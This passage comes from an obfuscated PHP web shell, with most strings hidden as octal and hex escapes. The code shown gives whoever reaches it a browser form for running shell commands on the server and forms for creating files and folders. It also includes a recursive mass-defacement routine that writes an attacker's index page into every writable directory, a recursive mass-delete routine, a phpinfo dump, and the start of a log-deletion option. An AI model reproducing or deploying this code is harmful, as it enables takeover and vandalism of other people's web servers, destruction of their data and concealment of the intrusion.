6\12\x3c\164\145\170\164\x61\162\145\141\40\163\164\171\154\145\75\42\x64\151\163\x70\154\141\171\x3a\40\156\157\156\x65\x22\40\x69\x64\x3d\x22\142\145\160\141\x73\x64\141\164\x61\42\x20\156\x61\155\145\75\42\142\145\x70\141\163\x64\x61\x74\141\42\76\74\x2f\x74\145\x78\164\x61\x72\145\x61\x3e\xa\x3c\151\x6e\x70\165\x74\40\164\171\x70\x65\x3d\42\x73\165\142\155\x69\164\42\40\156\141\155\145\75\42\142\145\x70\x61\x73\x22\x20\x76\x61\154\165\145\x3d\x22\x55\160\x6c\157\141\144\x22\x20\143\x6c\141\x73\163\x3d\42\x75\x70\x22\x20\x73\164\x79\154\x65\75\42\143\165\x72\163\x6f\162\x3a\x20\x70\157\x69\156\164\145\x72\x3b\40\142\157\x72\x64\145\x72\x2d\143\x6f\154\157\x72\x3a\x20\43\146\x66\x66\42\76\12\x3c\x2f\146\157\x72\155\x3e\74\142\162\76\x3c\x62\x72\76\74\x2f\143\x65\x6e\164\145\162\76"; } elseif (isset($_GET["\x6b\157\155\145\x6e\x64"])) { echo "\74\x63\145\x6e\164\x65\162\76"; echo "\74\146\157\x72\x6d\x20\155\145\x74\x68\157\x64\75\x22\x70\x6f\x73\164\x22\40\x6f\156\x73\x75\142\155\x69\x74\x3d\x22\x64\x6f\x63\x75\x6d\145\156\164\56\x67\x65\164\105\x6c\x65\x6d\x65\156\x74\x42\x79\x49\x64\50\47\153\x6f\155\x65\156\144\x6e\x79\141\x27\x29\56\x76\x61\154\165\x65\40\75\x20\x62\164\157\x61\50\142\x74\x6f\141\x28\x62\x74\x6f\x61\x28\144\x6f\143\x75\x6d\145\x6e\x74\56\x67\x65\x74\x45\x6c\x65\x6d\145\156\164\x42\x79\111\x64\x28\x27\153\157\x6d\145\156\x64\x6e\171\141\47\51\56\x76\141\x6c\x75\x65\x29\51\x29\x22\x3e\12\40\40\x20\x20" . @get_current_user() . "\100" . ipserv() . "\x3a\x7e\x20\x24\40\x3c\151\156\160\165\x74\x20\x74\171\x70\145\x3d\42\x74\x65\170\164\x22\40\156\141\155\x65\75\x22\153\x6f\x6d\x65\156\144\42\x20\151\x64\75\x22\153\x6f\155\145\x6e\144\x6e\171\141\x22\40\163\164\171\154\x65\x3d\x22\142\141\x63\x6b\147\162\157\165\x6e\144\x2d\143\x6f\154\157\x72\x3a\x20\x23\61\x66\x31\146\x31\x66\x3b\40\x63\x6f\154\157\162\x3a\40\x23\146\x66\x66\42\76\xa\x20\40\x20\x20\x3c\x69\156\x70\x75\164\40\164\x79\160\145\x3d\x22\163\x75\142\155\x69\164\x22\x20\156\x61\155\x65\75\x22\x65\153\163\x65\x6b\x6f\155\145\156\144\42\x20\x76\x61\x6c\x75\x65\75\x22\x20\76\76\40\x22\x20\143\x6c\141\163\163\75\42\x75\160\42\x20\x73\x74\171\154\x65\x3d\x22\x63\165\162\x73\157\162\72\40\160\x6f\151\156\x74\145\x72\x3b\40\142\157\x72\144\145\162\x2d\x63\x6f\x6c\x6f\162\72\x20\43\146\146\146\x22\x3e\xa\40\40\x20\x20\74\x2f\x66\x6f\162\x6d\x3e\x3c\x62\x72\76"; if (isset($_POST["\x65\x6b\163\x65\153\157\155\145\x6e\x64"])) { ekse($_POST["\153\x6f\x6d\145\x6e\144"], $lokasi); } echo "\x3c\57\x63\x65\x6e\x74\x65\162\76"; } elseif (isset($_GET["\x70\x69\x6c\151\x68\141\x6e"]) && $_POST["\160\x69\154\x69\x68"] == "\146\157" . "\x6c\144" . "\145\162") { if ($isw("\56\57") || $ird("\56\57")) { $loke = $_GET["\x70\x61\164\x68"]; if (isset($_POST["\142\165\x61\x74\x66\x6f\154\x64\x65\162"])) { $buatfolder = $mkd($loke . "\57" . $_POST["\146\x6f" . "\x6c\144\145" . "\x72\142\x61" . "\162\165"]); if ($buatfolder == true) { green("\x46\157\154\x64\x65\162\40\x3c\142\x3e" . htmlspecialchars($_POST["\146\x6f" . "\x6c\144\x65" . "\162\x62\x61" . "\162\x75"]) . "\x3c\57\142\76\x20\x43\162\x65\x61\x74\145\x64\40\41"); echo "\74\146\x6f\x72\x6d\x20\155\x65\164\x68\x6f\144\75\42\160\x6f\163\164\x22\76\x3c\143\145\156\164\x65\162\x3e\x46\157\x6c\144\145\x72\x20\72\40\x3c\x69\x6e\x70\x75\164\40\x74\171\160\145\75\42\164\145\170\x74\x22\40\x6e\x61\155\145\75\42\146\157" . "\154\x64\145" . "\x72\x62\141" . "\162\165\x22\x20\143\x6c\x61\x73\x73\x3d\42\165\x70\42\40\163\x74\x79\x6c\x65\x3d\42\143\x75\162\163\157\162\72\x20\160\157\x69\x6e\164\145\162\73\x20\142\x6f\162\x64\145\162\55\x63\157\x6c\157\162\x3a\40\43\146\x66\x66\x22\x3e\40\74\x69\156\x70\165\164\40\x74\x79\x70\145\x3d\x22\x73\x75\142\x6d\151\164\x22\x20\x6e\141\155\145\75\x22\x62\165\141\x74\x66\x6f\x6c\144\145\x72\42\x20\166\141\154\x75\x65\75\x22\x43\162\145\x61\164\145\40\x66\x6f\x6c\144\x65\162\42\40\143\154\x61\163\163\x3d\42\165\160\42\40\163\x74\171\154\145\x3d\42\143\x75\x72\x73\157\162\72\x20\x70\157\151\x6e\x74\x65\162\x3b\40\142\157\x72\x64\x65\162\x2d\143\x6f\x6c\x6f\162\72\40\43\146\x66\x66\x22\x3e\74\x62\162\76\74\x62\x72\76\74\57\143\x65\156\x74\x65\162\76"; echo "\x3c\151\x6e\x70\x75\x74\40\x74\x79\160\x65\75\x22\150\x69\x64\144\x65\x6e\42\x20\156\x61\x6d\145\75\42\x70\x61\x74\150\42\40\x76\141\x6c\x75\145\75\x22" . $_POST["\x70\141\164\x68"] . "\42\x3e\xa\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\x20\40\x20\x20\74\x69\156\x70\165\x74\40\x74\171\160\145\x3d\x22\x68\x69\x64\x64\145\x6e\x22\40\156\x61\x6d\x65\x3d\42\160\151\154\151\150\42\40\x76\x61\154\165\145\75\42\146\x6f\154\x64\145\162\42\x3e\74\57\x66\157\162\x6d\x3e"; } else { red("\x46\x61\151\154\145\144\x20\x74\x6f\x20\103\x72\145\141\x74\145\40\x66\x6f\x6c\x64\145\x72\40\41"); echo "\x3c\146\157\162\x6d\40\x6d\x65\164\150\x6f\x64\75\x22\x70\x6f\x73\x74\x22\x3e\x3c\x63\x65\156\x74\145\x72\x3e\x46\157\154\x64\145\x72\x20\72\x20\x3c\151\x6e\x70\165\164\40\x74\171\160\x65\75\42\x74\x65\x78\x74\x22\x20\156\x61\x6d\x65\75\x22\x66\157" . "\154\x64\x65" . "\162\142\141" . "\162\165\42\40\x63\154\141\163\163\75\42\165\160\x22\40\x73\164\x79\x6c\145\x3d\x22\143\165\x72\163\157\162\x3a\x20\x70\x6f\151\156\164\x65\x72\x3b\x20\x62\x6f\x72\144\145\162\55\x63\x6f\154\157\162\x3a\40\x23\x66\146\x66\x22\76\40\74\x69\156\x70\x75\164\x20\164\171\160\145\75\x22\x73\165\142\155\151\164\x22\40\x6e\x61\x6d\145\x3d\x22\142\165\x61\x74\146\157\154\144\x65\x72\x22\x20\166\141\154\165\x65\x3d\42\103\162\x65\x61\x74\145\x20\146\x6f\x6c\x64\x65\162\x22\x20\143\154\141\x73\x73\75\42\x75\x70\42\x20\x73\x74\x79\154\x65\75\x22\x63\x75\x72\163\x6f\x72\x3a\x20\x70\x6f\151\x6e\x74\145\x72\x3b\40\x62\157\x72\144\145\162\x2d\143\157\x6c\x6f\162\x3a\40\x23\x66\146\146\x22\x3e\x3c\x62\x72\x3e\74\142\162\76\x3c\57\x63\x65\x6e\x74\145\162\x3e"; echo "\x3c\x69\x6e\x70\165\164\40\x74\171\x70\145\75\x22\x68\x69\x64\144\x65\156\42\40\156\x61\x6d\x65\75\42\160\141\164\x68\42\x20\166\x61\x6c\x75\x65\x3d\x22" . $_POST["\x70\x61\x74\x68"] . "\x22\76\xa\40\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\40\x3c\x69\156\x70\165\164\x20\x74\171\x70\145\x3d\x22\150\x69\x64\144\x65\x6e\42\40\x6e\x61\155\145\75\x22\160\x69\154\x69\150\42\40\x76\141\154\165\x65\75\42\146\x6f\x6c\x64\145\162\42\x3e\x3c\57\x66\157\x72\x6d\76"; } } else { echo "\x3c\146\x6f\162\x6d\x20\155\145\x74\150\157\x64\x3d\x22\x70\x6f\x73\164\x22\76\74\143\145\x6e\164\x65\162\76\106\x6f\154\144\x65\x72\40\x3a\40\74\151\156\x70\165\164\40\164\171\160\x65\x3d\x22\164\x65\170\x74\42\40\156\x61\155\x65\x3d\x22\x66\157" . "\x6c\144\145" . "\162\x62\141" . "\162\x75\x22\x20\x63\154\141\163\163\x3d\x22\x75\160\42\x20\163\x74\x79\154\x65\x3d\42\143\165\x72\163\157\x72\x3a\x20\x70\157\x69\x6e\164\x65\162\x3b\40\x62\x6f\162\144\x65\162\x2d\143\x6f\x6c\157\162\x3a\x20\43\x66\146\x66\42\76\x20\x3c\151\156\x70\x75\164\40\x74\x79\160\x65\x3d\x22\x73\x75\142\x6d\x69\164\x22\40\x6e\x61\x6d\145\75\x22\x62\x75\x61\164\146\x6f\154\144\145\x72\42\x20\x76\x61\x6c\165\145\x3d\42\103\162\x65\141\164\x65\x20\x66\x6f\154\x64\145\x72\x22\x20\x63\154\141\163\163\75\42\165\x70\x22\x20\x73\164\171\x6c\x65\75\x22\x63\165\162\x73\x6f\162\x3a\x20\160\157\x69\156\164\145\x72\x3b\x20\142\157\162\x64\145\162\55\143\157\x6c\x6f\162\x3a\x20\x23\146\146\x66\42\76\74\x62\162\76\74\x62\x72\x3e\74\x2f\143\x65\156\x74\x65\x72\76"; echo "\x3c\151\156\x70\x75\x74\x20\x74\171\x70\145\75\x22\x68\x69\x64\144\x65\156\42\40\x6e\141\x6d\145\75\42\160\141\164\150\x22\40\166\x61\x6c\x75\x65\x3d\x22" . $_POST["\160\x61\164\150"] . "\42\x3e\74\x69\156\160\x75\x74\40\164\171\160\145\x3d\42\150\151\144\144\x65\156\42\40\x6e\x61\155\145\x3d\42\160\151\154\x69\x68\x22\x20\166\141\154\x75\x65\75\x22\146\157\154\x64\145\x72\x22\76\x3c\57\x66\x6f\x72\155\76"; } } } elseif (isset($_GET["\x70\x69\154\151\150\x61\x6e"]) && $_POST["\x70\x69\154\151\x68"] == "\146\151" . "\x6c\145") { if ($isw("\x2e\x2f") || $isr("\56\x2f")) { $loke = $_GET["\x70\x61\x74\x68"]; if (isset($_POST["\142\x75\x61\x74\x66\x69" . "\154\145"])) { $buatf = $fpt($loke . "\x2f" . $_POST["\146\x69" . "\154\x65\142\141\162\x75"], ''); if ($fxt($loke . "\x2f" . $_POST["\x66\x69" . "\x6c\145\x62\x61\x72\165"])) { green("\x46\151\154\x65\x20\x3c\142\x3e" . htmlspecialchars($_POST["\x66\151" . "\154\x65\142\141\x72\x75"]) . "\74\57\142\x3e\40\103\162\145\141\164\145\x64\40\41"); echo "\74\146\x6f\162\155\x20\x6d\x65\164\150\x6f\x64\x3d\42\160\x6f\163\164\x22\76\74\x63\145\x6e\164\x65\162\x3e\106\x69\x6c\x65\x6e\141\155\x65\40\72\x20\74\x69\x6e\x70\x75\x74\40\x74\x79\x70\x65\75\42\x74\x65\170\x74\42\x20\x6e\x61\x6d\145\75\x22\x66\x69" . "\x6c\145\142\x61\162\165\x22\x20\143\154\141\x73\163\x3d\x22\x75\160\x22\x20\x73\x74\171\154\145\75\x22\143\x75\162\x73\157\162\72\40\x70\157\x69\156\x74\x65\x72\73\x20\x62\157\162\144\x65\162\55\x63\157\154\x6f\162\x3a\40\43\x66\146\x66\x22\x3e\40\74\x69\x6e\x70\165\x74\40\x74\x79\160\x65\x3d\x22\163\x75\142\x6d\151\x74\x22\x20\x6e\x61\x6d\x65\75\x22\142\165\x61\164\x66\151" . "\x6c\145\x22\x20\x76\141\x6c\x75\x65\75\x22\103\x72\x65\141\x74\145\x20\x46\x69\154\145\42\x20\143\154\141\x73\163\75\42\165\x70\x22\x20\163\164\x79\154\145\x3d\42\x63\x75\162\x73\157\x72\x3a\40\x70\x6f\151\156\164\145\x72\x3b\40\142\157\162\x64\145\x72\55\x63\x6f\x6c\x6f\162\72\40\x23\x66\x66\146\x22\x3e\74\142\x72\76\x3c\x62\162\76\x3c\x2f\143\x65\x6e\164\x65\162\x3e"; echo "\74\x69\x6e\160\165\x74\40\x74\x79\160\145\x3d\42\150\151\x64\144\x65\156\x22\40\156\141\x6d\x65\75\42\x70\141\164\x68\x22\x20\166\x61\154\x75\x65\x3d\x22" . $_POST["\160\x61\164\150"] . "\42\76\xa\40\x20\40\40\40\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\x3c\x69\x6e\x70\165\164\40\164\171\x70\x65\75\x22\x68\x69\x64\144\145\156\42\x20\x6e\x61\155\145\x3d\x22\160\151\x6c\x69\150\x22\x20\x76\x61\154\165\x65\x3d\42\x66\x69" . "\x6c\x65\42\76\74\57\x66\157\x72\x6d\x3e"; } else { red("\106\x61\x69\154\145\x64\x20\164\157\x20\x43\x72\145\x61\164\145\x20\x46\151\x6c\x65\x20\41"); echo "\x3c\x66\157\162\x6d\40\155\x65\x74\x68\x6f\144\75\42\160\x6f\x73\164\x22\76\x3c\x63\145\x6e\x74\x65\162\x3e\106\151\154\145\156\x61\155\145\40\72\40\x3c\x69\x6e\160\165\x74\x20\x74\x79\160\145\x3d\42\x74\145\x78\164\x22\40\156\141\155\x65\75\42\x66\151" . "\x6c\x65\x62\141\162\x75\x22\40\x63\x6c\x61\x73\163\75\42\x75\x70\x22\40\163\164\x79\154\145\75\42\x63\165\x72\x73\x6f\x72\72\x20\x70\157\151\156\x74\145\162\73\40\142\x6f\162\x64\145\x72\x2d\x63\x6f\154\x6f\x72\72\x20\x23\x66\146\x66\42\x3e\40\74\x69\x6e\x70\165\164\x20\x74\171\160\145\75\42\163\165\142\155\x69\164\42\x20\156\x61\x6d\x65\75\x22\142\165\x61\x74\x66\x69" . "\154\x65\42\40\x76\x61\154\x75\x65\75\42\x43\x72\145\x61\x74\145\40\x46\151\x6c\x65\x22\x20\x63\x6c\141\163\163\75\42\165\x70\x22\40\163\x74\171\x6c\145\x3d\x22\143\x75\162\x73\x6f\162\72\40\160\157\x69\x6e\x74\145\x72\73\40\142\157\x72\144\145\162\55\143\x6f\154\157\x72\72\40\43\x66\146\146\x22\x3e\x3c\x62\x72\x3e\74\142\162\76\74\57\x63\x65\x6e\164\x65\x72\x3e"; echo "\x3c\x69\x6e\160\165\164\x20\x74\x79\160\x65\75\42\150\151\144\x64\x65\156\42\x20\156\141\155\x65\75\42\x70\141\164\150\x22\40\166\x61\154\x75\x65\x3d\x22" . $_POST["\x70\x61\164\150"] . "\42\76\12\x20\x20\40\40\x20\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\74\151\156\160\165\x74\x20\164\171\160\x65\75\42\150\151\x64\x64\145\156\x22\x20\x6e\x61\155\145\75\x22\x70\x69\x6c\x69\150\x22\40\166\141\154\x75\145\75\x22\x66\151" . "\x6c\x65\x22\x3e\x3c\x2f\x66\x6f\x72\x6d\76"; } } else { echo "\x3c\146\157\x72\155\x20\155\145\164\x68\157\144\75\x22\160\157\x73\164\x22\76\74\143\145\x6e\164\x65\x72\x3e\106\151\154\x65\156\141\x6d\x65\x20\72\x20\x3c\151\x6e\x70\x75\x74\40\164\x79\160\x65\75\x22\164\145\170\164\x22\40\x6e\141\x6d\145\75\42\x66\151" . "\154\x65\142\x61\x72\x75\42\x20\143\x6c\141\x73\163\x3d\42\x75\160\x22\40\163\164\171\154\x65\x3d\x22\143\165\x72\163\x6f\x72\x3a\40\x70\157\151\156\x74\x65\162\x3b\x20\x62\157\162\x64\x65\162\55\x63\157\x6c\x6f\x72\x3a\x20\x23\x66\146\x66\42\x3e\x20\x3c\x69\x6e\x70\x75\x74\x20\x74\171\160\x65\75\42\163\x75\142\x6d\151\164\x22\x20\x6e\x61\x6d\x65\x3d\x22\142\165\141\x74\146\151" . "\x6c\145\x22\40\x76\141\154\x75\145\75\x22\103\x72\145\x61\x74\145\x20\x46\151\154\x65\x22\40\143\x6c\x61\163\x73\x3d\42\165\x70\42\x20\163\164\171\x6c\x65\x3d\x22\x63\165\x72\x73\157\162\72\40\x70\157\x69\156\164\145\x72\73\40\x62\x6f\162\144\x65\162\55\x63\x6f\x6c\x6f\x72\72\x20\43\146\146\x66\42\x3e\x3c\x62\162\76\x3c\142\162\x3e\74\57\143\x65\x6e\x74\x65\x72\76"; echo "\74\151\156\160\x75\x74\40\x74\x79\x70\145\x3d\42\x68\151\x64\x64\x65\156\x22\x20\x6e\x61\x6d\x65\x3d\x22\160\x61\x74\150\42\40\x76\141\x6c\x75\145\75\x22" . $_POST["\160\x61\x74\x68"] . "\42\x3e\74\151\156\160\x75\164\40\164\171\x70\145\x3d\x22\x68\x69\x64\x64\145\156\42\x20\x6e\141\x6d\145\75\x22\160\x69\x6c\x69\150\42\x20\166\141\x6c\x75\x65\x3d\x22\146\x69" . "\154\145\42\76\x3c\x2f\x66\157\x72\x6d\x3e"; } } } elseif (isset($_GET["\x6d\x61\163\163\144\x65\x66\x61\x63\145"])) { function sabun_massal($dir, $namafile, $isi_script) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { $dirc = "{$dir}\57{$dirb}"; $lokasi = $dirc . "\x2f" . $namafile; if ($dirb === "\x2e") { file_put_contents($lokasi, $isi_script); } elseif ($dirb === "\x2e\56") { file_put_contents($lokasi, $isi_script); } else { if (is_dir($dirc)) { if (is_writable($dirc)) { echo "\x3c\143\145\156\164\145\162\76\133\74\146\x6f\156\164\x20\x63\x6f\154\x6f\162\75\x67\x72\x65\x65\156\x3e\x44\x4f\116\105\74\x2f\146\x6f\156\x74\x3e\135\x20{$lokasi}\74\x2f\143\145\156\164\145\162\76\74\142\x72\x3e"; file_put_contents($lokasi, $isi_script); $idx = sabun_massal($dirc, $namafile, $isi_script); } } } } } } function sabun_biasa($dir, $namafile, $isi_script) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { $dirc = "{$dir}\x2f{$dirb}"; $lokasi = $dirc . "\x2f" . $namafile; if ($dirb === "\56") { file_put_contents($lokasi, $isi_script); } elseif ($dirb === "\x2e\56") { file_put_contents($lokasi, $isi_script); } else { if (is_dir($dirc)) { if (is_writable($dirc)) { echo "\74\x63\145\x6e\x74\145\162\x3e\x5b\74\146\x6f\x6e\x74\40\143\157\x6c\157\x72\x3d\147\x72\145\x65\156\x3e\104\117\x4e\x45\74\x2f\146\x6f\156\164\76\135\x20{$lokasi}\x3c\142\x72\x3e\74\57\143\145\156\164\145\x72\76"; file_put_contents($lokasi, $isi_script); } } } } } } if (isset($_POST["\163\x74\141\x72\164"])) { if ($_POST["\164\x69\x70\x65\137\x73\141\142\x75\x6e"] == "\x6d\141\150\x61\154") { echo "\x3c\x64\151\166\x20\x73\164\171\154\145\x3d\47\x6d\141\x72\x67\151\156\72\x20\65\x70\x78\x20\141\x75\164\x6f\x3b\40\x70\x61\x64\144\151\x6e\x67\x3a\40\x35\160\x78\x27\x3e"; sabun_massal($_POST["\144\137\144\x69\x72"], $_POST["\144\x5f\146\x69\x6c\145"], $_POST["\x73\x63\162\x69\x70\x74"]); echo "\74\x2f\x64\x69\x76\76"; } elseif ($_POST["\164\151\x70\x65\137\163\x61\142\165\x6e"] == "\x6d\x75\x72\x61\150") { echo "\74\x64\151\166\40\x73\164\x79\x6c\145\75\47\x6d\x61\x72\147\x69\x6e\x3a\x20\65\x70\x78\40\x61\165\x74\157\x3b\40\160\x61\144\144\x69\156\147\x3a\x20\65\x70\170\47\x3e"; sabun_biasa($_POST["\144\137\x64\151\x72"], $_POST["\144\137\x66\151\154\x65"], $_POST["\163\143\x72\x69\x70\164"]); echo "\74\x2f\x64\x69\166\76"; } } else { echo "\x3c\x63\145\156\164\145\162\x3e"; echo "\74\x66\x6f\162\x6d\x20\155\145\164\150\x6f\144\75\47\x70\x6f\163\x74\47\76\12\11\74\x66\x6f\156\x74\40\163\164\x79\154\x65\x3d\x27\164\145\170\164\55\144\x65\x63\x6f\162\141\x74\x69\157\156\72\40\x75\x6e\x64\x65\x72\x6c\x69\156\145\73\47\x3e\x54\x69\x70\145\x20\x44\145\146\x61\x63\x65\x3a\74\x2f\x66\x6f\156\164\76\x3c\142\162\76\12\11\x3c\151\156\x70\165\164\40\164\x79\160\x65\75\x27\x72\x61\144\151\157\x27\40\156\x61\155\x65\x3d\47\164\x69\160\x65\137\x73\141\x62\165\x6e\47\40\x76\x61\154\x75\x65\75\47\x6d\x75\x72\x61\x68\x27\40\x63\x68\x65\143\153\x65\144\76\102\x69\x61\x73\x61\74\x69\x6e\160\x75\164\40\164\x79\x70\145\75\47\162\x61\x64\x69\x6f\x27\40\156\141\x6d\x65\x3d\47\164\x69\x70\x65\x5f\x73\141\x62\x75\156\47\40\x76\x61\154\x75\x65\x3d\47\155\x61\150\x61\154\47\x3e\x4d\141\x73\x73\141\154\x3c\142\162\x3e\xa\11\74\x66\x6f\x6e\164\x20\x73\164\171\x6c\x65\x3d\47\164\x65\170\164\55\144\x65\143\x6f\x72\x61\x74\151\x6f\156\x3a\40\x75\x6e\144\145\162\x6c\151\156\x65\x3b\47\x3e\106\157\154\x64\x65\162\x3a\x3c\57\146\157\156\164\76\x3c\142\x72\76\12\11\74\x69\156\x70\x75\164\x20\x74\171\x70\145\x3d\47\x74\145\170\164\47\40\156\x61\155\x65\75\47\x64\x5f\x64\151\x72\47\40\x76\141\x6c\165\x65\x3d\x27{$lokasi}\x27\x20\143\x6c\141\163\x73\x3d\x27\165\160\47\x20\163\x74\x79\154\145\75\x27\167\x69\x64\x74\x68\72\x20\64\65\60\x70\x78\73\x20\143\x75\x72\x73\x6f\x72\x3a\x20\x70\157\x69\x6e\x74\x65\162\x3b\x20\x62\x6f\162\144\x65\x72\55\143\157\x6c\x6f\162\x3a\40\x23\x66\x66\146\x27\x3e\x3c\142\162\76\xa\x9\74\146\x6f\156\x74\x20\x73\164\x79\x6c\x65\x3d\47\x74\145\170\164\55\x64\145\143\157\x72\x61\164\151\x6f\x6e\x3a\40\165\x6e\144\145\x72\x6c\151\x6e\145\x3b\x27\x3e\106\x69\154\145\x6e\141\x6d\x65\x3a\x3c\x2f\x66\157\156\x74\x3e\74\142\x72\76\xa\11\x3c\151\156\160\165\x74\x20\x74\x79\160\145\x3d\x27\x74\x65\170\x74\x27\40\156\x61\x6d\145\75\47\x64\137\x66\x69\154\x65\x27\x20\166\x61\154\x75\x65\75\x27\x4e\x69\x6e\172\151\156\x2e\x70\150\160\47\x20\143\x6c\141\163\163\75\47\x75\160\x27\40\163\x74\171\x6c\145\75\x27\167\x69\144\x74\150\72\x20\64\x35\x30\x70\170\73\x20\143\165\162\163\x6f\x72\x3a\40\160\157\151\x6e\x74\x65\162\73\40\x62\157\162\x64\145\x72\x2d\x63\x6f\154\157\162\x3a\40\43\146\146\x66\x27\76\74\x62\x72\x3e\xa\11\74\x66\x6f\156\x74\x20\x73\164\171\154\x65\75\47\x74\145\170\164\x2d\144\x65\x63\157\162\x61\164\151\157\x6e\72\40\x75\156\x64\x65\162\x6c\x69\156\145\73\x27\x3e\x49\156\x64\145\x78\x20\x46\151\x6c\145\72\74\57\146\157\x6e\164\76\74\142\x72\x3e\12\x9\x3c\164\x65\x78\x74\141\x72\x65\141\40\156\141\155\145\x3d\x27\163\x63\x72\151\160\164\47\x20\x63\154\141\x73\163\75\47\165\160\47\40\x73\164\171\154\x65\75\47\167\151\x64\164\150\72\40\x34\x35\60\160\x78\73\x20\40\x68\x65\x69\147\150\164\72\40\62\60\x30\160\170\73\40\x63\x6f\154\157\162\72\167\x68\151\164\x65\73\x20\142\157\162\x64\145\162\x2d\x63\x6f\x6c\157\162\x3a\x23\146\146\x66\73\47\x3e\x4b\151\x73\x73\x65\x64\40\102\x79\x20\x4e\x69\156\172\x69\156\74\x2f\164\145\170\164\x61\162\145\x61\x3e\x3c\142\x72\76\xa\x9\74\x69\x6e\160\165\164\40\164\x79\x70\x65\75\x27\x73\165\x62\x6d\x69\x74\x27\x20\x6e\x61\x6d\145\75\x27\x73\x74\141\162\164\47\40\166\141\x6c\165\x65\75\47\x4d\x61\x73\x73\40\x44\x65\146\141\x63\x65\x27\x20\163\164\171\154\145\x3d\x27\167\x69\144\x74\150\x3a\40\64\65\x30\x70\170\x3b\x27\x3e\12\11\74\57\x66\x6f\x72\155\76\74\57\x63\x65\156\164\x65\162\x3e\74\x62\162\x3e"; } } elseif (isset($_GET["\155\x61\x73\163\x64\x65\154\145\164\x65"])) { function hapus_massal($dir, $namafile) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { $dirc = "{$dir}\57{$dirb}"; $lokasi = $dirc . "\x2f" . $namafile; if ($dirb === "\56") { if (file_exists("{$dir}\57{$namafile}")) { unlink("{$dir}\57{$namafile}"); } } elseif ($dirb === "\56\x2e") { if (file_exists('' . dirname($dir) . "\x2f{$namafile}")) { unlink('' . dirname($dir) . "\x2f{$namafile}"); } } else { if (is_dir($dirc)) { if (is_writable($dirc)) { if (file_exists($lokasi)) { echo "\74\143\x65\156\164\145\162\76\x5b\74\146\x6f\156\164\x20\x63\157\154\x6f\x72\x3d\x72\145\144\x3e\x44\x45\x4c\105\124\x45\104\74\57\146\x6f\156\x74\x3e\135\40{$lokasi}\74\x62\162\76\x3c\57\143\145\x6e\x74\x65\x72\76"; unlink($lokasi); $idx = hapus_massal($dirc, $namafile); } } } } } } } if (isset($_POST["\x73\x74\141\x72\164"])) { echo "\x3c\x64\x69\166\x20\163\164\171\x6c\x65\75\47\155\141\x72\147\151\x6e\x3a\x20\65\160\170\40\x61\165\164\157\x3b\x20\160\141\144\x64\x69\156\147\72\x20\65\160\170\47\x3e"; hapus_massal($_POST["\x64\x5f\x64\151\x72"], $_POST["\x64\x5f\146\151\154\x65"]); echo "\74\x2f\x64\x69\x76\76"; } else { echo "\x3c\x63\x65\156\164\x65\x72\76"; echo "\x3c\x66\157\x72\155\x20\x6d\145\164\150\157\x64\75\47\x70\157\163\x74\x27\x3e\12\x9\x3c\x66\157\156\x74\40\163\x74\x79\154\x65\75\47\x74\x65\170\x74\55\144\145\x63\x6f\162\141\164\151\x6f\156\72\40\x75\x6e\x64\x65\162\x6c\x69\x6e\145\73\x27\76\x46\x6f\x6c\144\x65\x72\x3a\x3c\57\146\157\x6e\164\x3e\74\x62\162\76\12\11\74\151\x6e\160\x75\164\40\164\x79\x70\x65\75\47\164\145\170\164\x27\40\x6e\141\x6d\x65\75\x27\144\137\x64\151\162\x27\40\166\141\x6c\165\145\75\x27{$lokasi}\47\40\143\154\141\x73\x73\x3d\x27\165\x70\x27\40\163\164\x79\154\145\75\47\x77\151\144\164\x68\72\x20\64\x35\x30\x70\170\73\40\143\165\x72\x73\157\162\x3a\40\160\157\151\156\x74\145\x72\x3b\40\x62\157\162\x64\145\x72\x2d\x63\x6f\154\x6f\162\x3a\40\x23\x66\x66\146\47\x3e\x3c\142\162\76\xa\11\74\x66\x6f\156\x74\x20\x73\164\x79\x6c\x65\75\47\164\x65\x78\x74\55\144\x65\x63\157\x72\141\164\151\157\156\72\40\x75\x6e\144\x65\x72\154\x69\x6e\145\73\47\x3e\106\x69\x6c\x65\156\141\x6d\145\x3a\x3c\57\146\x6f\156\164\x3e\x3c\142\162\x3e\12\x9\74\x69\156\160\165\x74\40\164\x79\160\x65\75\x27\x74\145\x78\164\x27\40\x6e\141\x6d\x65\75\x27\144\x5f\x66\151\x6c\x65\47\x20\166\141\x6c\x75\145\75\x27\151\156\x64\x65\x78\56\x70\x68\x70\x27\x20\x63\154\141\x73\163\75\x27\165\160\47\40\163\x74\x79\154\x65\75\x27\167\x69\144\164\x68\72\x20\x34\65\60\160\170\x3b\x20\143\x75\x72\x73\157\162\72\x20\160\157\x69\x6e\164\145\x72\73\40\x62\x6f\x72\144\145\x72\55\x63\157\154\157\x72\x3a\x20\43\146\146\146\x27\x3e\x3c\x62\162\x3e\12\11\x3c\142\x72\x3e\74\151\156\160\x75\164\40\x74\171\x70\x65\75\x27\x73\165\x62\x6d\151\164\47\40\x6e\x61\155\x65\x3d\47\163\164\x61\x72\164\x27\x20\x76\x61\154\x75\145\75\x27\115\141\x73\x73\40\x44\x65\154\145\x74\x65\47\x20\x73\x74\171\154\x65\x3d\x27\167\x69\x64\x74\150\x3a\40\64\x35\60\160\x78\x3b\47\76\12\11\x3c\x2f\x66\x6f\162\x6d\76\x3c\x2f\143\145\156\x74\x65\162\x3e\74\x62\162\x3e"; } } elseif (isset($_GET["\160\x68\160\151\156\x66\x6f"])) { echo "\x3c\150\162\76\x3c\x62\x72\x3e\74\143\x65\x6e\x74\145\162\76"; echo "\74\143\x65\156\164\x65\162\x3e\x3c\150\x32\x3e\x53\145\162\x76\x65\162\x20\x50\x68\160\40\x49\x6e\x66\x6f\74\x2f\150\62\76\x3c\x2f\x63\145\156\164\x65\x72\76"; echo phpinfo(); echo "\x3c\143\x65\156\x74\145\x72\76\x3c\150\x72\76\x3c\x62\162\x3e\74\57\x63\x65\156\164\x65\162\76"; } elseif (isset($_GET["\144\145\154\x65\x74\x65\x5f\x6c\157\x67\163"])) { echo 